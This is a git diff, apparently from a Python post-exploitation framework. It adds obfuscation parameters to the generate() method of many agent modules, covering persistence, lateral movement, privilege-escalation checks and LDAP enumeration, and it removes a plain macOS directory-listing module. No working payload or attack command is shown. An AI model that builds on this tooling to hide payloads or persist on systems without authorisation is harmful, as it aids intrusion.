keytab = self.options['Keytab']['Value']
|
||||
principal = self.options['Principal']['Value']
|
||||
ntlmhash = self.options['Hash']['Value']
|
||||
|
|
|
@ -77,7 +77,7 @@ class Module:
|
|||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
module_path = os.path.join(self.mainMenu.installPath,
|
||||
'data/module_source/python/lateral_movement/socks_source.py')
|
||||
|
||||
|
|
|
@ -74,7 +74,7 @@ class Module:
|
|||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
|
||||
# extract all of our options
|
||||
listenerName = self.options['Listener']['Value']
|
||||
|
|
|
@ -1,137 +0,0 @@
|
|||
from lib.common import helpers
|
||||
|
||||
|
||||
class Module:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
# metadata info about the module, not modified during runtime
|
||||
self.info = {
|
||||
# name for the module that will appear in module menus
|
||||
'Name': 'ls',
|
||||
|
||||
# list of one or more authors for the module
|
||||
'Author': ['@xorrior'],
|
||||
|
||||
# more verbose multi-line description of the module
|
||||
'Description': ('List contents of a directory'),
|
||||
|
||||
# True if the module needs to run in the background
|
||||
'Background': False,
|
||||
|
||||
# File extension to save the file as
|
||||
# no need to base64 return data
|
||||
'OutputExtension': None,
|
||||
|
||||
'NeedsAdmin' : False,
|
||||
|
||||
# True if the method doesn't touch disk/is reasonably opsec safe
|
||||
'OpsecSafe': True,
|
||||
|
||||
# the module language
|
||||
'Language' : 'python',
|
||||
|
||||
# the minimum language version needed
|
||||
'MinLanguageVersion' : '2.6',
|
||||
|
||||
# list of any references/other comments
|
||||
'Comments': [
|
||||
'Link:',
|
||||
'http://stackoverflow.com/questions/17809386/how-to-convert-a-stat-output-to-a-unix-permissions-string'
|
||||
]
|
||||
}
|
||||
|
||||
# any options needed by the module, settable during runtime
|
||||
self.options = {
|
||||
# format:
|
||||
# value_name : {description, required, default_value}
|
||||
'Agent': {
|
||||
# The 'Agent' option is the only one that MUST be in a module
|
||||
'Description' : 'Agent to run the module.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'Path': {
|
||||
'Description' : 'Path. Defaults to the current directory. This module is mainly for organization. The alias \'ls\' can be used at the agent menu.',
|
||||
'Required' : True,
|
||||
'Value' : '.'
|
||||
}
|
||||
}
|
||||
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
# During instantiation, any settable option parameters
|
||||
# are passed as an object set to the module and the
|
||||
# options dictionary is automatically set. This is mostly
|
||||
# in case options are passed on the command line
|
||||
if params:
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
def generate(self):
|
||||
|
||||
filePath = self.options['Path']['Value']
|
||||
filePath += '/'
|
||||
|
||||
script = """
|
||||
try:
|
||||
|
||||
import Foundation
|
||||
from AppKit import *
|
||||
import os
|
||||
import stat
|
||||
except:
|
||||
print "A required module is missing.."
|
||||
|
||||
def permissions_to_unix_name(st_mode):
|
||||
permstr = ''
|
||||
usertypes = ['USR', 'GRP', 'OTH']
|
||||
for usertype in usertypes:
|
||||
perm_types = ['R', 'W', 'X']
|
||||
for permtype in perm_types:
|
||||
perm = getattr(stat, 'S_I%%s%%s' %% (permtype, usertype))
|
||||
if st_mode & perm:
|
||||
permstr += permtype.lower()
|
||||
else:
|
||||
permstr += '-'
|
||||
return permstr
|
||||
|
||||
path = "%s"
|
||||
dirlist = os.listdir(path)
|
||||
|
||||
filemgr = NSFileManager.defaultManager()
|
||||
|
||||
directoryListString = "\\t\\towner\\tgroup\\t\\tlast modified\\tsize\\t\\tname\\n"
|
||||
|
||||
for item in dirlist:
|
||||
fullpath = os.path.abspath(os.path.join(path,item))
|
||||
attrs = filemgr.attributesOfItemAtPath_error_(os.path.abspath(fullpath), None)
|
||||
name = item
|
||||
lastModified = str(attrs[0]['NSFileModificationDate'])
|
||||
group = str(attrs[0]['NSFileGroupOwnerAccountName'])
|
||||
owner = str(attrs[0]['NSFileOwnerAccountName'])
|
||||
size = str(os.path.getsize(fullpath))
|
||||
if int(size) > 1024:
|
||||
size = int(size) / 1024
|
||||
size = str(size) + "K"
|
||||
else:
|
||||
size += "B"
|
||||
perms = permissions_to_unix_name(os.stat(fullpath)[0])
|
||||
listString = perms + " " + owner + "\\t" + group + "\\t\\t" + lastModified.split(" ")[0] + "\\t" + size + "\\t\\t" + name + "\\n"
|
||||
if os.path.isdir(fullpath):
|
||||
listString = "d"+listString
|
||||
else:
|
||||
listString = "-"+listString
|
||||
|
||||
directoryListString += listString
|
||||
|
||||
print str(os.getcwd())
|
||||
print directoryListString
|
||||
""" % filePath
|
||||
|
||||
return script
|
|
@ -74,7 +74,7 @@ class Module:
|
|||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
|
||||
|
||||
|
||||
|
|
|
@ -79,7 +79,7 @@ class Module:
|
|||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
|
||||
|
||||
processID = self.options['PID']['Value']
|
||||
|
|
|
@ -82,7 +82,7 @@ class Module:
|
|||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
Remove = self.options['Remove']['Value']
|
||||
Hourly = self.options['Hourly']['Value']
|
||||
Hour = self.options['Hour']['Value']
|
||||
|
|
|
@ -95,7 +95,7 @@ class Module:
|
|||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
|
||||
# the Python script itself, with the command to invoke
|
||||
# for execution appended to the end. Scripts should output
|
||||
|
|
|
@ -76,7 +76,7 @@ class Module:
|
|||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
|
||||
plistpath = self.options['PlistPath']['Value']
|
||||
programpath = self.options['ProgramPath']['Value']
|
||||
|
|
|
@ -88,7 +88,7 @@ class Module:
|
|||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
|
||||
daemonName = self.options['DaemonName']['Value']
|
||||
programname = self.options['DaemonLocation']['Value']
|
||||
|
|
|
@ -72,7 +72,7 @@ class Module:
|
|||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
|
||||
loginhookScriptPath = self.options['LoginHookScript']['Value']
|
||||
password = self.options['Password']['Value']
|
||||
|
|
|
@ -90,7 +90,7 @@ class Module:
|
|||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
|
||||
ruleName = self.options['RuleName']['Value']
|
||||
trigger = self.options['Trigger']['Value']
|
||||
|
|
|
@ -64,7 +64,7 @@ class Module:
|
|||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
###############################################################################################################
|
||||
## [Title]: linuxprivchecker.py -- a Linux Privilege Escalation Check Script
|
||||
## [Author]: Mike Czumak (T_v3rn1x) -- @SecuritySift
|
||||
|
|
|
@ -84,7 +84,7 @@ class Module:
|
|||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
ip = self.options['Ip']['Value']
|
||||
port = self.options['Port']['Value']
|
||||
serveCount = self.options['ServeCount']['Value']
|
||||
|
|
|
@ -76,7 +76,7 @@ class Module:
|
|||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
|
||||
# extract all of our options
|
||||
listenerName = self.options['Listener']['Value']
|
||||
|
|
|
@ -84,7 +84,7 @@ class Module:
|
|||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
|
||||
# extract all of our options
|
||||
listenerName = self.options['Listener']['Value']
|
||||
|
|
|
@ -95,7 +95,7 @@ class Module:
|
|||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
|
||||
# the Python script itself, with the command to invoke
|
||||
# for execution appended to the end. Scripts should output
|
||||
|
|
|
@ -79,7 +79,7 @@ class Module:
|
|||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
|
||||
# extract all of our options
|
||||
listenerName = self.options['Listener']['Value']
|
||||
|
|
|
@ -71,7 +71,7 @@ class Module:
|
|||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
|
||||
# the Python script itself, with the command to invoke
|
||||
# for execution appended to the end. Scripts should output
|
||||
|
|
|
@ -71,7 +71,7 @@ class Module:
|
|||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
|
||||
# the Python script itself, with the command to invoke
|
||||
# for execution appended to the end. Scripts should output
|
||||
|
|
|
@ -76,7 +76,7 @@ class Module:
|
|||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
|
||||
# the Python script itself, with the command to invoke
|
||||
# for execution appended to the end. Scripts should output
|
||||
|
|
|
@ -75,7 +75,7 @@ class Module:
|
|||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
script = ''
|
||||
if self.options['Debug']['Value']:
|
||||
debug = self.options['Debug']['Value']
|
||||
|
|
|
@ -68,7 +68,7 @@ class Module:
|
|||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
|
||||
group = self.options['Group']['Value']
|
||||
# the Python script itself, with the command to invoke
|
||||
|
|
|
@ -68,7 +68,7 @@ class Module:
|
|||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
|
||||
domain = self.options['Domain']['Value']
|
||||
# the Python script itself, with the command to invoke
|
||||
|
|
|
@ -68,7 +68,7 @@ class Module:
|
|||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
|
||||
domain = self.options['Domain']['Value']
|
||||
# the Python script itself, with the command to invoke
|
||||
|
|
|
@ -80,7 +80,7 @@ class Module:
|
|||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
|
||||
LDAPAddress = self.options['LDAPAddress']['Value']
|
||||
BindDN = self.options['BindDN']['Value']
|
||||
|
|
|
@ -80,7 +80,7 @@ class Module:
|
|||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
|
||||
LDAPAddress = self.options['LDAPAddress']['Value']
|
||||
BindDN = self.options['BindDN']['Value']
|
||||
|
|
|
@ -80,7 +80,7 @@ class Module:
|
|||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
|
||||
LDAPAddress = self.options['LDAPAddress']['Value']
|
||||
BindDN = self.options['BindDN']['Value']
|
||||
|
|
|
@ -86,7 +86,7 @@ class Module:
|
|||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
|
||||
LDAPAddress = self.options['LDAPAddress']['Value']
|
||||
BindDN = self.options['BindDN']['Value']
|
||||
|
|
|
@ -86,7 +86,7 @@ class Module:
|
|||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
|
||||
LDAPAddress = self.options['LDAPAddress']['Value']
|
||||
BindDN = self.options['BindDN']['Value']
|
||||
|
|
|
@ -80,7 +80,7 @@ class Module:
|
|||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
|
||||
LDAPAddress = self.options['LDAPAddress']['Value']
|
||||
BindDN = self.options['BindDN']['Value']
|
||||
|
|
|
@ -80,7 +80,7 @@ class Module:
|
|||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
|
||||
LDAPAddress = self.options['LDAPAddress']['Value']
|
||||
BindDN = self.options['BindDN']['Value']
|
||||
|
|
|
@ -86,7 +86,7 @@ class Module:
|
|||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
|
||||
LDAPAddress = self.options['LDAPAddress']['Value']
|
||||
BindDN = self.options['BindDN']['Value']
|
||||
|
|
|
@ -80,7 +80,7 @@ class Module:
|
|||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
|
||||
LDAPAddress = self.options['LDAPAddress']['Value']
|
||||
BindDN = self.options['BindDN']['Value']
|
||||
|
|
|
@ -118,7 +118,7 @@ class Module:
|
|||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
target = self.options['Target']['Value']
|
||||
port = self.options['Port']['Value']
|
||||
name = self.options['Name']['Value']
|
||||
|
|
|
@ -83,7 +83,7 @@ class Module:
|
|||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
target = self.options['Target']['Value']
|
||||
port = self.options['Port']['Value']
|
||||
name = self.options['Name']['Value']
|
||||
|
|
|
@ -82,7 +82,7 @@ class Module:
|
|||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
target = self.options['Target']['Value']
|
||||
port = self.options['Port']['Value']
|
||||
name = self.options['Name']['Value']
|
||||
|
|
|
@ -83,7 +83,7 @@ class Module:
|
|||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
target = self.options['Target']['Value']
|
||||
#port = self.options['Port']['Value']
|
||||
#print str("port: " + port)
|
||||
|
|
|
@ -112,7 +112,7 @@ class Module:
|
|||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
target = self.options['Target']['Value']
|
||||
port = self.options['Port']['Value']
|
||||
appId = self.options['ID']['Value']
|
||||
|
|
|
@ -82,7 +82,7 @@ class Module:
|
|||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
target = self.options['Target']['Value']
|
||||
port = self.options['Port']['Value']
|
||||
appId = self.options['ID']['Value']
|
||||
|
|
|
@ -83,7 +83,7 @@ class Module:
|
|||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
target = self.options['Target']['Value']
|
||||
port = self.options['Port']['Value']
|
||||
ssl = self.options['SSL']['Value']
|
||||
|
|
|
@ -70,7 +70,7 @@ class Module:
|
|||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
target = self.options['Target']['Value']
|
||||
|
||||
|
||||
|
|
|
@ -95,7 +95,7 @@ class Module:
|
|||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
protocol = self.options['Protocol']['Value']
|
||||
target = self.options['Target']['Value']
|
||||
port = self.options['Port']['Value']
|
||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue